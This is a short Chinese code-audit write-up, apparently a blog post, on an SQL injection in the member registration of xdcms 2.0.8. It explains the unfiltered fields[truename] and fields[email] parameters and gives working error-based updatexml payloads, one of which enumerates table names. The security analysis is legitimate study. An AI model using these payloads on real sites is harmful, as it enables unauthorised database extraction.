在网上下载好xdcms2.0.8版本,安装后进行代码审计测试
漏洞位置:D:\audit\xdcms\system\modules\member\index.php
在会员注册的位置出现了SQL注入

注册页面有5个参数,分别是
username,password,password2,fields[truename], fields[email]
抓包可获取到
看一下具体代码,

Username,password变量以sql插入语句进入数据库,在之前进行了安全过滤。

即使用safe_html函数进行过滤
但是fields[truename], fields[email]这两个参数以更新的方式进入数据库,且没有安全过滤
漏洞由此产生
看代码

$field_sql为

我们对file[truename]这个参数进行利用,抓包进行修改参数

漏洞利用:使用的exp为
xxxx' orupdatexml(2,concat(0x7e,(database())),0) or '

注意:因为用户名不能重复,所以每次放包都要修改username


使用报错语句可爆出更多内容
update c_member set `truename`='abZXc' or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or '',`email`='sadssds' where userid=1
使用phpmyadmin进行测试



更多注入语句,参考
网友评论